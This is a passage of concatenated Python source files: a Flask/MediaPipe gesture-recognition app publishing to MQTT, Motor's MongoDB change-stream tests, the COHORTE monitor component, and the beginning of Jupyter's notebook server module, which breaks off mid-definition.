mp_drawing.draw_landmarks(frame, hand_landmarks, mp_hands.HAND_CONNECTIONS) hand_local = [] for i in range(21): x = hand_landmarks.landmark[i].x*frame.shape[1] y = hand_landmarks.landmark[i].y*frame.shape[0] hand_local.append((x,y)) if hand_local: angle_list = hand_angle(hand_local) gesture_str = h_gesture(angle_list) queue.put(gesture_str) cv2.putText(frame,gesture_str,(0,100),0,1.3,(0,0,255),3) # show image in http ret, buffer = cv2.imencode('.jpg', frame) frame = buffer.tobytes() yield (b'--frame\r\n' b'Content-Type: image/jpeg\r\n\r\n' + frame + b'\r\n') #cv2.namedWindow('MediaPipe Hands', cv2.WINDOW_NORMAL) #cv2.imshow('MediaPipe Hands', frame) if cv2.waitKey(1) & 0xFF == 27: break cap.release() @app.route('/video_feed') def video_feed(): return Response(detect(), mimetype='multipart/x-mixed-replace; boundary=frame') @app.route('/') def index(): return render_template('index.html') # publish info to mqtt client = mqtt.Client() #broker = args.broker client.connect(os.getenv("BROKERIP", "127.0.0.1")) def public_info(capture): topic = os.getenv('TOPIC', 'handRecon') print(topic) while capture.isOpened(): result=queue.get() print(result) for i in range(5): queue.get() if (result == 'fist'): state = "OFF" elif (result == "gun"): state = "ON" else: continue print("pubilsh state...."+state) client.publish(topic, state) time.sleep(1) if __name__ == '__main__': print("run app") app.run(host='0.0.0.0', port="9090", threaded=True)
test_motor_change_stream.py
# Copyright 2017-present MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import, unicode_literals """Test MotorChangeStream.""" import copy import os import threading import time from pymongo.errors import InvalidOperation, OperationFailure from tornado.testing import gen_test from test import SkipTest, env from test.tornado_tests import MotorTest from test.py35utils import wait_until from test.utils import get_async_test_timeout class MotorChangeStreamTest(MotorTest): @classmethod @env.require_version_min(3, 6) def setUpClass(cls): super(MotorChangeStreamTest, cls).setUpClass() if env.is_standalone: raise SkipTest("Standalone") # Ensure the collection exists. env.sync_cx.motor_test.test_collection.delete_many({}) env.sync_cx.motor_test.test_collection.insert_one({'_id': 1}) def wait_and_insert(self, change_stream, n=1): # The start time of the change stream is nondeterministic. Wait # to ensure this insert comes after the change stream starts. def target(): start = time.time() timeout = get_async_test_timeout() while not change_stream.delegate: if time.time() - start > timeout: print("MotorChangeStream never created ChangeStream") return time.sleep(0.1) doclist = [{} for _ in range(n)] if isinstance(n, int) else n self.io_loop.add_callback(self.collection.insert_many, doclist) t = threading.Thread(target=target) t.daemon = True t.start() @gen_test async def test_async_for(self): change_stream = self.collection.watch() self.wait_and_insert(change_stream, 2) i = 0 async for _ in change_stream: i += 1 if i == 2: break self.assertEqual(i, 2) @gen_test async def test_async_try_next(self): change_stream = self.collection.watch() # No changes. doc = await change_stream.try_next() self.assertIsNone(doc) # Insert a change and ensure we see it via try_next. idoc = {'_id': 1, 'data': 'abc'} self.wait_and_insert(change_stream, [idoc]) while change_stream.alive: change_doc = await change_stream.try_next() if change_doc is not None: break self.assertEqual(change_doc['fullDocument'], idoc) @env.require_version_min(4, 0, 7) @gen_test async def test_async_try_next_updates_resume_token(self): change_stream = self.collection.watch( [{"$match": {"fullDocument.a": 10}}]) # Get empty change, check non-empty resume token. _ = await change_stream.try_next() self.assertIsNotNone(change_stream.resume_token) # Insert some record that don't match the change stream filter. self.wait_and_insert(change_stream, [{'a': 19}, {'a': 20}]) # Ensure we see a new resume token even though we see no changes. initial_resume_token = copy.copy(change_stream.resume_token) async def token_change(): _ = await change_stream.try_next() return change_stream.resume_token != initial_resume_token await wait_until(token_change, "see a new resume token", timeout=get_async_test_timeout()) @gen_test async def test_watch(self): coll = self.collection with self.assertRaises(TypeError): # pipeline must be a list. async for _ in coll.watch(pipeline={}): pass change_stream = coll.watch() future = change_stream.next() self.wait_and_insert(change_stream, 1) change = await future # New change stream with resume token. await coll.insert_one({'_id': 23}) change = await coll.watch(resume_after=change['_id']).next() self.assertEqual(change['fullDocument'], {'_id': 23}) @env.require_version_min(4, 2) @gen_test async def test_watch_with_start_after(self): # Ensure collection exists before starting. await self.collection.insert_one({}) # Create change stream before invalidate event. change_stream = self.collection.watch( [{'$match': {'operationType': 'invalidate'}}]) _ = await change_stream.try_next() # Generate invalidate event and store corresponding resume token. await self.collection.drop() _ = await change_stream.next() self.assertFalse(change_stream.alive) resume_token = change_stream.resume_token # Recreate change stream and observe from invalidate event. doc = {'_id': 'startAfterTest'} await self.collection.insert_one(doc) change_stream = self.collection.watch(start_after=resume_token) change = await change_stream.next() self.assertEqual(doc, change['fullDocument']) @gen_test async def test_close(self): coll = self.collection change_stream = coll.watch() future = change_stream.next() self.wait_and_insert(change_stream, 1) await future await change_stream.close() with self.assertRaises(StopAsyncIteration): await change_stream.next() async for _ in change_stream: pass @gen_test async def test_missing_id(self): coll = self.collection change_stream = coll.watch([{'$project': {'_id': 0}}]) future = change_stream.next() self.wait_and_insert(change_stream) with self.assertRaises((InvalidOperation, OperationFailure)): await future # The cursor should now be closed. with self.assertRaises(StopAsyncIteration): await change_stream.next() @gen_test async def test_unknown_full_document(self): coll = self.collection change_stream = coll.watch(full_document="unknownFullDocOption") future = change_stream.next() self.wait_and_insert(change_stream, 1) with self.assertRaises(OperationFailure): await future @gen_test async def test_async_with(self): async with self.collection.watch() as change_stream: self.wait_and_insert(change_stream, 1) async for _ in change_stream: self.assertTrue(change_stream.delegate._cursor.alive) break self.assertFalse(change_stream.delegate._cursor.alive) @gen_test async def test_with_statement(self): with self.assertRaises(RuntimeError): with self.collection.watch(): pass @env.require_version_min(4, 0) @gen_test async def test_client(self): change_stream = self.cx.watch() self.wait_and_insert(change_stream, 2) i = 0 async for _ in change_stream: i += 1 if i == 2: break await self.cx.other_db.other_collection.insert_one({}) async for _ in change_stream: i += 1 if i == 3: break @env.require_version_min(4, 0) @gen_test async def test_database(self): change_stream = self.db.watch() self.wait_and_insert(change_stream, 2) i = 0 async for _ in change_stream: i += 1 if i == 2: break await self.db.other_collection.insert_one({}) async for _ in change_stream: i += 1 if i == 3: break
basic.py
#!/usr/bin/env python # -- Content-Encoding: UTF-8 -- """ COHORTE Monitor: Monitor included in the F/M/N process :author: Thomas Calmant :license: Apache Software License 2.0 :version: 1.1.0 .. Copyright 2014 isandlaTech Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ # Standard library import logging import threading import uuid # iPOPO Decorators from pelix.ipopo.decorators import ComponentFactory, Provides, Validate, \ Invalidate, Requires, Property # Cohorte modules import cohorte import cohorte.composer import cohorte.forker import cohorte.monitor import cohorte.monitor.fsm as fsm import cohorte.repositories import cohorte.repositories.beans as beans # ######### added by: Bassem D. (issue #6) import cohorte.boot.loaders.utils as utils # ######### # Herald import herald import herald.exceptions from herald.beans import Message # ------------------------------------------------------------------------------ # Bundle version import cohorte.version __version__=cohorte.version.__version__ # ------------------------------------------------------------------------------ _logger = logging.getLogger(__name__) # ------------------------------------------------------------------------------ @ComponentFactory("cohorte-monitor-basic-factory") @Provides((cohorte.monitor.SERVICE_MONITOR, cohorte.forker.SERVICE_WATCHER_LISTENER)) @Provides(herald.SERVICE_LISTENER) @Requires('_config', cohorte.SERVICE_CONFIGURATION_READER) @Requires('_finder', cohorte.SERVICE_FILE_FINDER) @Requires('_forker', cohorte.SERVICE_FORKER) @Requires('_herald', herald.SERVICE_HERALD) @Requires('_directory', herald.SERVICE_DIRECTORY) @Requires('_repositories', cohorte.repositories.SERVICE_REPOSITORY_ARTIFACTS, aggregate=True) @Requires('_status', cohorte.monitor.SERVICE_STATUS) @Requires('_composer', cohorte.composer.SERVICE_COMPOSER_NODE, optional=True) @Property('_filters', herald.PROP_FILTERS, (cohorte.monitor.SIGNALS_ISOLATE_PATTERN, cohorte.monitor.SIGNALS_PLATFORM_PATTERN)) class MonitorBasic(object): """ Monitor core component: interface to the forker """ def __init__(self): """ Sets up the component """ # Injected services self._config = None self._finder = None self._forker = None self._herald = None self._directory = None self._repositories = [] self._status = None # Properties self._filters = None # Node UID self._node_uid = None self._node_name = None # Bundle context self._context = None # Platform stopping event self._platform_stopping = threading.Event() # Auto-run isolates self._auto_isolates = {} # Node Composer self._composer = None def herald_message(self, _, message): """ Handles a signal :param _: The Herald service :param message: The received message bean """ name = message.subject # Platform signals if name == cohorte.monitor.SIGNAL_PLATFORM_STOPPING: # Platform goes into stopping mode (let the sender do the job) self._platform_stopping.set() elif name == cohorte.monitor.SIGNAL_STOP_PLATFORM: # Platform must stop (new thread) threading.Thread(name="platform-stop", target=self._stop_platform).start() elif name == cohorte.monitor.SIGNAL_STOP_NODE: # Node must stop (new thread) threading.Thread(name="node-stop", target=self._stop_node).start() else: # Isolate signals try: if name == cohorte.monitor.SIGNAL_ISOLATE_READY: # Isolate ready self._status.isolate_ready(message.sender) elif name == cohorte.monitor.SIGNAL_ISOLATE_STOPPING: # Isolate stopping self._status.isolate_stopping(message.sender) except KeyError: # Unknown isolate (ignore it) pass if name == cohorte.monitor.SIGNAL_ISOLATE_LOST: try: # Get information about the sender sender = self._directory.get_peer(message.sender) except KeyError: # Unknown sender pass else: if self._node_uid == sender.node_uid: # Isolate from this node signaled as lost self._handle_lost(message.content) def ping(self, uid): """ Tells a forker to ping an isolate :param uid: UID of the isolate to ping :return: True if the forker knows and pings the isolate """ return self._forker.ping(uid) def _get_isolate_artifacts(self, kind, level, sublevel): """ Retrieves the list of bundles configured for this isolate """ # Load the isolate model file boot_dict = self._config.load_conf_raw(level, sublevel) # Parse it configuration = self._config.load_boot_dict(boot_dict) # Convert configuration bundles to repository artifacts return [beans.Artifact(level, bundle.name, bundle.version, bundle.filename) for bundle in configuration.bundles] def _start_config_isolates(self): """ Starts isolates configured for this node :return: True if all isolates have beean started correctly """ try: isolates = self._config.read('autorun_isolates.js', False) except (IOError, ValueError) as ex: # Log the error in debug mode only _logger.debug("Error reading 'autorun_isolates.js': %s", ex) return if not isolates: # No predefined isolates _logger.debug("No predefined isolates.") return all_started = True for isolate in isolates: all_started |= self._start_config_isolate(isolate) return all_started def _start_config_isolate(self, isolate): """ Starts a single configured isolate. :param isolate: Isolate configuration :return: True if the isolate has been started, else False """ # Check isolate node if isolate.get('node') != self._node_name: return False # Check its name name = isolate.get('name') if not name: _logger.warning("Refusing an auto-run isolate without name") return False # Use/Generate the isolate UID uid = isolate.get('custom_uid') or str(uuid.uuid4()) # Store it, to force the forker to use the same UID isolate['uid'] = uid # Store the isolate configuration self._auto_isolates[uid] = isolate # Store the isolate in the status self._status.add_isolate(uid) # Call the forker _logger.debug("(Re)Loading predefined isolate: %s (%s)", name, uid) self._status.isolate_requested(uid) result = self._forker.start_isolate(isolate) if result in cohorte.forker.REQUEST_SUCCESSES: # Great success ! self._status.isolate_starting(uid) return True else: # Failed... self._status.isolate_gone(uid) return False def start_isolate(self, name, kind, level, sublevel, bundles=None, uid=None): """ Starts an isolate according to the given elements, or stacks the order until a forker appears on the given node :param name: Isolate name :param kind: The kind of isolate to boot (pelix, osgi, ...) :param level: The level of configuration (boot, java, python, ...) :param sublevel: Category of configuration (monitor, isolate, ...) :param bundles: Extra bundles to install (Bundle beans) :param uid: A user-defined isolate UID :raise IOError: Unknown/inaccessible kind of isolate :raise KeyError: A parameter is missing in the configuration files :raise ValueError: Error reading the configuration """ if self._platform_stopping.is_set(): # Avoid to start new isolates while we are stopping return False # Compute bundles according to the factories if bundles is None: bundles = [] # Find the repository associated to the language for repository in self._repositories: if repository.get_language() == level: break else: _logger.error("No repository found for language: %s", level) return False # Get the configured isolate artifacts isolate_artifacts = self._get_isolate_artifacts(kind, level, sublevel) # Resolve the custom bundles installation resolution = repository.resolve_installation(bundles, isolate_artifacts) if resolution[2]: # Some artifacts are missing _logger.warning("Missing artifacts: %s", resolution[2]) # MOD_BD_20150824 isandlaTech/cohorte-platforms/issues/59 # continue the isolat starting when some artifacts are missing # return False elif resolution[3]: # Some extra dependencies are missing _logger.warning("Missing extra elements: %s", resolution[3]) # Clean up resolution custom_artifacts = [artifact for artifact in resolution[0] if artifact not in isolate_artifacts] # Prepare a configuration # Node name and UID will be given by the forker config = self._config.prepare_isolate( uid, name, kind, level, sublevel, custom_artifacts) # Get the UID as a result of the configuration (support custom ones) uid = config['uid'] # Store the isolate in the status self._status.add_isolate(uid) # Talk to the forker self._status.isolate_requested(uid) result = self._forker.start_isolate(config) if result in cohorte.forker.REQUEST_SUCCESSES: # Great success ! self._status.isolate_starting(uid) return True else: # Failed... self._status.isolate_gone(uid) return False def stop_isolate(self, uid): """ Stops the isolate with the given UID :param uid: UID of an isolate :return: True if the forker knew the isolate """ try: self._forker.stop_isolate(uid) return True except KeyError: return False def handle_lost_isolate(self, uid, name): """ A local isolate has been lost """ try: # Find the matching configuration isolate = self._auto_isolates.pop(uid) except KeyError: # Not an auto-run isolate: ignore it (let the composer handle it) return _logger.warning("Auto-run isolate lost: %s (%s). Restarting it.", name, uid) # Change internal state self._status.isolate_gone(uid) # Auto-run isolate has been lost: restart it self._start_config_isolate(isolate) def _handle_lost(self, uid): """ Handles a lost isolate :param uid: UID of the lost isolate """ try: # Get previous state state = self._status.get_state(uid) except KeyError: # Unknown / Already lost isolate -> do nothing _logger.info("Unknown isolate %s lost (or already handled)", uid) return # Change state self._status.isolate_gone(uid) if state == fsm.ISOLATE_STATE_STOPPING: # "Foreign" isolate stopped nicely _logger.info("Isolate %s stopped nicely.", uid) else: # "Foreign" isolate lost _logger.error("Isolate %s lost", uid) def _stop_platform(self): """ Stops the whole platform """ if self._platform_stopping.is_set(): # Already stopping return _logger.critical(">>> PLATFORM STOPPING <<<") # Set this monitor in stopping state self._platform_stopping.set() # Set the forker in stopping state self._forker.set_platform_stopping() # Send the platform stopping signal to other monitors try: self._herald.fire_group( 'monitors', Message(cohorte.monitor.SIGNAL_PLATFORM_STOPPING)) except herald.exceptions.HeraldException: pass # Tell the forker to stop the running isolates for uid in self._status.get_running(): self._forker.stop_isolate(uid) # Stop this isolate self._context.get_bundle(0).stop() # ######### added by: Bassem D. def _stop_node(self): """ Stops the actual node """ if self._platform_stopping.is_set(): # Already stopping return _logger.critical(">>> NODE STOPPING <<<") # Set this monitor in stopping state self._platform_stopping.set() # Set the forker in stopping state self._forker.set_platform_stopping() self._composer.set_platform_stopping() # Tell the forker to stop the running isolates for uid in self._status.get_running(): self._forker.stop_isolate(uid) # to stop the node, we can only stop its monitor instance (stop pelix) self._context.get_bundle(0).stop() # ######### def _load_top_composer(self): """ Installs and starts the top composer bundles """ # Get installed bundles # installed = set(bundle.get_symbolic_name() # for bundle in self._context.get_bundles()) # Read the top composer configuration file top_config = self._config.read("composer/python-top.js") # ######### added by: Bassem D. (issue #6) # Extract bundle names # bundles = [bundle['name'] for bundle in top_config['bundles']] # Start new bundles # for name in bundles: # if name not in installed: # self._context.install_bundle(name).start() # instantiates manually components declared on configuration files utils.boot_load(self._context, self._config.load_boot_dict(top_config)) # ######### @Validate def validate(self, context): """ Component validated """ self._context = context # Set to PROP_NODE_UID when ready self._node_uid = context.get_property(cohorte.PROP_NODE_UID) self._node_name = context.get_property(cohorte.PROP_NODE_NAME) _logger.info("Monitor core validated") # Start predefined isolates self._start_config_isolates() # Start the Top Composer if context.get_property(cohorte.PROP_RUN_TOP_COMPOSER): # avoid deadlock when starting cohorte (cohorte-issue-#) threading.Thread(target=self._load_top_composer, name="Top-Composer-Loader").start() # self._load_top_composer() @Invalidate def invalidate(self, context): """ Component invalidated """ # Kill auto-run isolates for uid in tuple(self._auto_isolates.keys()): self._forker.stop_isolate(uid) # Clean up self._auto_isolates.clear() self._node_uid = None self._node_name = None self._context = None _logger.info("Monitor core invalidated")
notebookapp.py
# coding: utf-8 """A tornado based Jupyter notebook server.""" # Copyright (c) Jupyter Development Team. # Distributed under the terms of the Modified BSD License. from __future__ import absolute_import, print_function import notebook import binascii import datetime import errno import gettext import importlib import io import json import logging import mimetypes import os import random import re import select import signal import socket import sys import threading import time import warnings import webbrowser import hmac try: #PY3 from base64 import encodebytes except ImportError: #PY2 from base64 import encodestring as encodebytes from jinja2 import Environment, FileSystemLoader from notebook.transutils import trans, _ # Install the pyzmq ioloop. This has to be done before anything else from # tornado is imported. from zmq.eventloop import ioloop ioloop.install() # check for tornado 3.1.0 try: import tornado except ImportError: raise ImportError(_("The Jupyter Notebook requires tornado >= 4.0")) try: version_info = tornado.version_info except AttributeError: raise ImportError(_("The Jupyter Notebook requires tornado >= 4.0, but you have < 1.1.0")) if version_info < (4,0): raise ImportError(_("The Jupyter Notebook requires tornado >= 4.0, but you have %s") % tornado.version) from tornado import httpserver from tornado import web from tornado.httputil import url_concat from tornado.log import LogFormatter, app_log, access_log, gen_log from notebook import ( DEFAULT_STATIC_FILES_PATH, DEFAULT_TEMPLATE_PATH_LIST, __version__, ) # py23 compatibility try: raw_input = raw_input except NameError: raw_input = input from .base.handlers import Template404, RedirectWithParams from .log import log_request from .services.kernels.kernelmanager import MappingKernelManager from .services.config import ConfigManager from .services.contents.manager import ContentsManager from .services.contents.filemanager import FileContentsManager from .services.contents.largefilemanager import LargeFileManager from .services.sessions.sessionmanager import SessionManager from .auth.login import LoginHandler from .auth.logout import LogoutHandler from .base.handlers import FileFindHandler from traitlets.config import Config from traitlets.config.application import catch_config_error, boolean_flag from jupyter_core.application import ( JupyterApp, base_flags, base_aliases, ) from jupyter_core.paths import jupyter_config_path from jupyter_client import KernelManager from jupyter_client.kernelspec import KernelSpecManager, NoSuchKernel, NATIVE_KERNEL_NAME from jupyter_client.session import Session from nbformat.sign import NotebookNotary from traitlets import ( Any, Dict, Unicode, Integer, List, Bool, Bytes, Instance, TraitError, Type, Float, observe, default, validate ) from ipython_genutils import py3compat from jupyter_core.paths import jupyter_runtime_dir, jupyter_path from notebook._sysinfo import get_sys_info from ._tz import utcnow, utcfromtimestamp from .utils import url_path_join, check_pid, url_escape #----------------------------------------------------------------------------- # Module globals #----------------------------------------------------------------------------- _examples = """ jupyter notebook # start the notebook jupyter notebook --certfile=mycert.pem # use SSL/TLS certificate jupyter notebook password # enter a password to protect the server """ #----------------------------------------------------------------------------- # Helper functions #----------------------------------------------------------------------------- def random_ports(port, n): """Generate a list of n random ports near the given port. The first 5 ports will be sequential, and the remaining n-5 will be randomly selected in the range [port-2*n, port+2*n]. """ for i in range(min(5, n)): yield port + i for i in range(n-5): yield max(1, port + random.randint(-2*n, 2*n)) def load_handlers(name): """Load the (URL pattern, handler) tuples for each component.""" mod = __import__(name, fromlist=['default_handlers']) return mod.default_handlers #----------------------------------------------------------------------------- # The Tornado web application #----------------------------------------------------------------------------- class NotebookWebApplication(web.Application): def __init__(self, jupyter_app, kernel_manager, contents_manager, session_manager, kernel_spec_manager, config_manager, extra_services, log, base_url, default_url, settings_overrides, jinja_env_options): settings = self.init_settings( jupyter_app, kernel_manager, contents_manager, session_manager, kernel_spec_manager, config_manager, extra_services, log, base_url, default_url, settings_overrides, jinja_env_options) handlers = self.init_handlers(settings) super(NotebookWebApplication, self).__init__(handlers, **settings) def init_settings(self, jupyter_app, kernel_manager, contents_manager, session_manager, kernel_spec_manager, config_manager, extra_services, log, base_url, default_url, settings_overrides, jinja_env_options=None): _template_path = settings_overrides.get( "template_path", jupyter_app.template_file_path, ) if isinstance(_template_path, py3compat.string_types): _template_path = (_template_path,) template_path = [os.path.expanduser(path) for path in _template_path] jenv_opt = {"autoescape": True} jenv_opt.update(jinja_env_options if jinja_env_options else {}) env = Environment(loader=FileSystemLoader(template_path), extensions=['jinja2.ext.i18n'], **jenv_opt) sys_info = get_sys_info() # If the user is running the notebook in a git directory, make the assumption # that this is a dev install and suggest to the developer `npm run build:watch`. base_dir = os.path.realpath(os.path.join(__file__, '..', '..')) dev_mode = os.path.exists(os.path.join(base_dir, '.git')) nbui = gettext.translation('nbui', localedir=os.path.join(base_dir, 'notebook/i18n'), fallback=True) env.install_gettext_translations(nbui, newstyle=False) if dev_mode: DEV_NOTE_NPM = """It looks like you're running the notebook from source. If you're working on the Javascript of the notebook, try running %s in another terminal window to have the system incrementally watch and build the notebook's JavaScript for you, as you make changes.""" % 'npm run build:watch' log.info(DEV_NOTE_NPM) if sys_info['commit_source'] == 'repository': # don't cache (rely on 304) when working from master version_hash = '' else: # reset the cache on server restart version_hash = datetime.datetime.now().strftime("%Y%m%d%H%M%S") if jupyter_app.ignore_minified_js: log.warning(_("""The `ignore_minified_js` flag is deprecated and no longer works.""")) log.warning(_("""Alternatively use `%s` when working on the notebook's Javascript and LESS""") % 'npm run build:watch') warnings.warn(_("The `ignore_minified_js` flag is deprecated and will be removed in Notebook 6.0"), DeprecationWarning) now = utcnow() root_dir = contents_manager.root_dir home = os.path.expanduser('~') if root_dir.startswith(home + os.path.sep): # collapse $HOME to ~ root_dir = '~' + root_dir[len(home):] settings = dict( # basics log_function=log_request, base_url=base_url, default_url=default_url, template_path=template_path, static_path=jupyter_app.static_file_path, static_custom_path=jupyter_app.static_custom_path, static_handler_class = FileFindHandler, static_url_prefix = url_path_join(base_url,'/static/'), static_handler_args = { # don't cache custom.js 'no_cache_paths': [url_path_join(base_url, 'static', 'custom')], }, version_hash=version_hash, ignore_minified_js=jupyter_app.ignore_minified_js, # rate limits iopub_msg_rate_limit=jupyter_app.iopub_msg_rate_limit, iopub_data_rate_limit=jupyter_app.iopub_data_rate_limit, rate_limit_window=jupyter_app.rate_limit_window, # maximum request sizes - support saving larger notebooks # tornado defaults are 100 MiB, we increase it to 0.5 GiB max_body_size = 512 * 1024 * 1024, max_buffer_size = 512 * 1024 * 1024, # authentication cookie_secret=jupyter_app.cookie_secret, login_url=url_path_join(base_url,'/login'), login_handler_class=jupyter_app.login_handler_class, logout_handler_class=jupyter_app.logout_handler_class, password=jupyter_app.password, xsrf_cookies=True, disable_check_xsrf=jupyter_app.disable_check_xsrf, # managers kernel_manager=kernel_manager, contents_manager=contents_manager, session_manager=session_manager, kernel_spec_manager=kernel_spec_manager, config_manager=config_manager, # handlers extra_services=extra_services, # Jupyter stuff started=now, jinja_template_vars=jupyter_app.jinja_template_vars, nbextensions_path=jupyter_app.nbextensions_path, websocket_url=jupyter_app.websocket_url, mathjax_url=jupyter_app.mathjax_url, mathjax_config=jupyter_app.mathjax_config, config=jupyter_app.config, config_dir=jupyter_app.config_dir, allow_password_change=jupyter_app.allow_password_change, server_root_dir=root_dir, jinja2_env=env, terminals_available=False, # Set later if terminals are available ) # allow custom overrides for the tornado web app. settings.update(settings_overrides) return settings def init_handlers(self, settings): """Load the (URL pattern, handler) tuples for each component.""" # Order matters. The first handler to match the URL will handle the request. handlers = [] # load extra services specified by users before default handlers for service in settings['extra_services']: handlers.extend(load_handlers(service)) handlers.extend(load_handlers('notebook.tree.handlers')) handlers.extend([(r"/login", settings['login_handler_class'])]) handlers.extend([(r"/logout", settings['logout_handler_class'])]) handlers.extend(load_handlers('notebook.files.handlers')) handlers.extend(load_handlers('notebook.view.handlers')) handlers.extend(load_handlers('notebook.notebook.handlers')) handlers.extend(load_handlers('notebook.nbconvert.handlers')) handlers.extend(load_handlers('notebook.bundler.handlers')) handlers.extend(load_handlers('notebook.kernelspecs.handlers')) handlers.extend(load_handlers('notebook.edit.handlers')) handlers.extend(load_handlers('notebook.services.api.handlers')) handlers.extend(load_handlers('notebook.services.config.handlers')) handlers.extend(load_handlers('notebook.services.kernels.handlers')) handlers.extend(load_handlers('notebook.services.contents.handlers')) handlers.extend(load_handlers('notebook.services.sessions.handlers')) handlers.extend(load_handlers('notebook.services.nbconvert.handlers')) handlers.extend(load_handlers('notebook.services.kernelspecs.handlers')) handlers.extend(load_handlers('notebook.services.security.handlers')) handlers.extend(load_handlers('notebook.services.shutdown')) handlers.extend(settings['contents_manager'].get_extra_handlers()) handlers.append( (r"/nbextensions/(.*)", FileFindHandler, { 'path': settings['nbextensions_path'], 'no_cache_paths': ['/'], # don't cache anything in nbextensions }), ) handlers.append( (r"/custom/(.*)", FileFindHandler, { 'path': settings['static_custom_path'], 'no_cache_paths': ['/'], # don't cache anything in custom }) ) # register base handlers last handlers.extend(load_handlers('notebook.base.handlers')) # set the URL that will be redirected from `/` handlers.append( (r'/?', RedirectWithParams, { 'url' : settings['default_url'], 'permanent': False, # want 302, not 301 }) ) # prepend base_url onto the patterns that we match new_handlers = [] for handler in handlers: pattern = url_path_join(settings['base_url'], handler[0]) new_handler = tuple([pattern] + list(handler[1:])) new_handlers.append(new_handler) # add 404 on the end, which will catch everything that falls through new_handlers.append((r'(.*)', Template404)) return new_handlers def last_activity(self): """Get a UTC timestamp for when the server last did something. Includes: API activity, kernel activity, kernel shutdown, and terminal activity. """ sources = [ self.settings['started'], self.settings['kernel_manager'].last_kernel_activity, ] try: sources.append(self.settings['api_last_activity']) except KeyError: pass try: sources.append(self.settings['terminal_last_activity']) except KeyError: pass return max(sources) class NotebookPasswordApp(JupyterApp): """Set a password for the notebook server. Setting a password secures the notebook server and removes the need for token-based authentication. """ description = __doc__ def _config_file_default(self): return os.path.join(self.config_dir, 'jupyter_notebook_config.json') def start(self): from .auth.security import set_password set_password(config_file=self.config_file) self.log.info("Wrote hashed password to %s" % self.config_file) def shutdown_server(server_info, timeout=5, log=None): """Shutdown a notebook server in a separate process. *server_info* should be a dictionary as produced by list_running_servers(). Will first try to request shutdown using /api/shutdown . On Unix, if the server is still running after *timeout* seconds, it will send SIGTERM. After another timeout, it escalates to SIGKILL. Returns True if the server was stopped by any means, False if stopping it failed (on Windows). """ from tornado.httpclient import HTTPClient, HTTPRequest url = server_info['url'] pid = server_info['pid'] req = HTTPRequest(url + 'api/shutdown', method='POST', body=b'', headers={ 'Authorization': 'token ' + server_info['token'] }) if log: log.debug("POST request to %sapi/shutdown", url) HTTPClient().fetch(req) # Poll to see if it shut down. for _ in range(timeout*10): if check_pid(pid): if log: log.debug("Server PID %s is gone", pid) return True time.sleep(0.1) if sys.platform.startswith('win'): return False if log: log.debug("SIGTERM to PID %s", pid) os.kill(pid, signal.SIGTERM) # Poll to see if it shut down. for _ in range(timeout * 10): if check_pid(pid): if log: log.debug("Server PID %s is gone", pid) return True time.sleep(0.1) if log: log.debug("SIGKILL to PID %s", pid) os.kill(pid, signal.SIGKILL) return True # SIGKILL cannot be caught class NbserverStopApp(JupyterApp): version = __version__ description="Stop currently running notebook server for a given port" port = Integer(8888, config=True, help="Port of the server to be killed. Default 8888") def parse_command_line(self, argv=None): super(NbserverStopApp, self).parse_command_line(argv) if self.extra_args: self.port=int(self.extra_args[0]) def shutdown_server(self, server): return shutdown_server(server, log=self.log) def start(self): servers = list(list_running_servers(self.runtime_dir)) if not servers: self.exit("There are no running servers") for server in servers: if server['port'] == self.port: print("Shutting down server on port", self.port, "...") if not self.shutdown_server(server): sys.exit("Could not stop server") return else: print("There is currently no server running on port {}".format(self.port), file=sys.stderr) print("Ports currently in use:", file=sys.stderr) for server in servers: print(" - {}".format(server['port']), file=sys.stderr) self.exit(1) class NbserverListApp(JupyterApp): version = __version__ description=_("List currently running notebook servers.") flags = dict( jsonlist=({'NbserverListApp': {'jsonlist': True}}, _("Produce machine-readable JSON list output.")), json=({'NbserverListApp': {'json': True}}, _("Produce machine-readable JSON object on each line of output.")), ) jsonlist = Bool(False, config=True, help=_("If True, the output will be a JSON list of objects, one per " "active notebook server, each with the details from the " "relevant server info file.")) json = Bool(False, config=True, help=_("If True, each line of output will be a JSON object with the " "details from the server info file. For a JSON list output, " "see the NbserverListApp.jsonlist configuration value")) def start(self): serverinfo_list = list(list_running_servers(self.runtime_dir)) if self.jsonlist: print(json.dumps(serverinfo_list, indent=2)) elif self.json: for serverinfo in serverinfo_list: print(json.dumps(serverinfo)) else: print("Currently running servers:") for serverinfo in serverinfo_list: url = serverinfo['url'] if serverinfo.get('token'): url = url + '?token=%s' % serverinfo['token'] print(url, "::", serverinfo['notebook_dir']) #----------------------------------------------------------------------------- # Aliases and Flags #----------------------------------------------------------------------------- flags = dict(base_flags) flags['no-browser']=( {'NotebookApp' : {'open_browser' : False}}, _("Don't open the notebook in a browser after startup.") ) flags['pylab']=( {'NotebookApp' : {'pylab' : 'warn'}}, _("DISABLED: use %pylab or %matplotlib in the notebook to enable matplotlib.") ) flags['no-mathjax']=( {'NotebookApp' : {'enable_mathjax' : False}}, """Disable MathJax MathJax is the javascript library Jupyter uses to render math/LaTeX. It is very large, so you may want to disable it if you have a slow internet connection, or for offline use of the notebook. When disabled, equations etc. will appear as their untransformed TeX source. """ ) flags['allow-root']=( {'NotebookApp' : {'allow_root' : True}}, _("Allow the notebook to be run from root user.") ) # Add notebook manager flags flags.update(boolean_flag('script', 'FileContentsManager.save_script', 'DEPRECATED, IGNORED', 'DEPRECATED, IGNORED')) aliases = dict(base_aliases) aliases.update({ 'ip': 'NotebookApp.ip', 'port': 'NotebookApp.port', 'port-retries': 'NotebookApp.port_retries', 'transport': 'KernelManager.transport', 'keyfile': 'NotebookApp.keyfile', 'certfile': 'NotebookApp.certfile', 'client-ca': 'NotebookApp.client_ca', 'notebook-dir': 'NotebookApp.notebook_dir', 'browser': 'NotebookApp.browser', 'pylab': 'NotebookApp.pylab', }) #----------------------------------------------------------------------------- # NotebookApp #----------------------------------------------------------------------------- class NotebookApp(JupyterApp): name = 